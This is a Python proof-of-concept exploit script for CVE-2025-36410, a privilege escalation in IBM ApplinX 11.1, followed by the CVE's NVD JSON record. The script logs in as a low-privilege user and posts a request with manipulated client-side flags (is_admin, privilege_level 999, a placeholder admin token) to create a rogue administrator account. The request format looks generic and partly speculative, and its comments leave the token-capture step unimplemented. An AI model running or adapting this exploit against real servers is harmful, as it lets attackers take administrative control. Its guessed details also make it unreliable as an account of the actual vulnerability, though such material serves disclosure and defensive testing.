CVE-2025-36410

# CVE-2025-36410 PoC - IBM ApplinX 11.1 Privilege Escalation # This PoC demonstrates how an authenticated low-privilege user can # perform unauthorized administrative actions import requests import json TARGET_URL = "https://target-server:8443/applinx" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_cve_2025_36410(): """ Exploit for CVE-2025-36410: Server-Side Enforcement of Client-Side Security Steps: 1. Authenticate with low-privilege account 2. Capture and modify client-side security parameters 3. Execute unauthorized administrative action """ session = requests.Session() # Step 1: Normal authentication with low-privilege user login_data = { "username": USERNAME, "password": PASSWORD } login_response = session.post(f"{TARGET_URL}/api/auth/login", json=login_data) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Capture legitimate admin request to extract security tokens # In real attack, attacker would intercept admin user's legitimate request # and extract the security parameters being used # Step 3: Craft malicious request with elevated privileges # The vulnerability allows client-side security parameters to be # manipulated to gain unauthorized admin access malicious_request = { "action": "admin.users.create", "username": "new_admin", "password": "P@ssw0rd123!", "role": "Administrator", # Client-side security parameters that can be manipulated "client_security_token": "ADMIN_TOKEN", "is_admin": True, "privilege_level": 999, "session_context": { "user_role": "Admin", "can_execute_admin": True } } # Step 4: Send malicious request exploit_response = session.post( f"{TARGET_URL}/api/admin/users", json=malicious_request, headers={"X-Requested-With": "XMLHttpRequest"} ) if exploit_response.status_code in [200, 201]: print("[+] Privilege escalation successful!") print("[+] New admin user created without proper authorization") return True else: print(f"[-] Exploit failed with status code: {exploit_response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_36410()

{"cve": {"id": "CVE-2025-36410", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:04.487", "lastModified": "2026-01-26T19:47:46.297", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM ApplinX 11.1 could allow an authenticated user to perform unauthorized administrative actions on the server due to server-side enforcement of client-side security."}, {"lang": "es", "value": "IBM ApplinX 11.1 podría permitir a un usuario autenticado realizar acciones administrativas no autorizadas en el servidor debido a la aplicación en el lado del servidor de la seguridad en el lado del cliente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-602"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:applinx:11.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "7116F100-D485-4B66-A910-9A4663360A0F"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257446", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}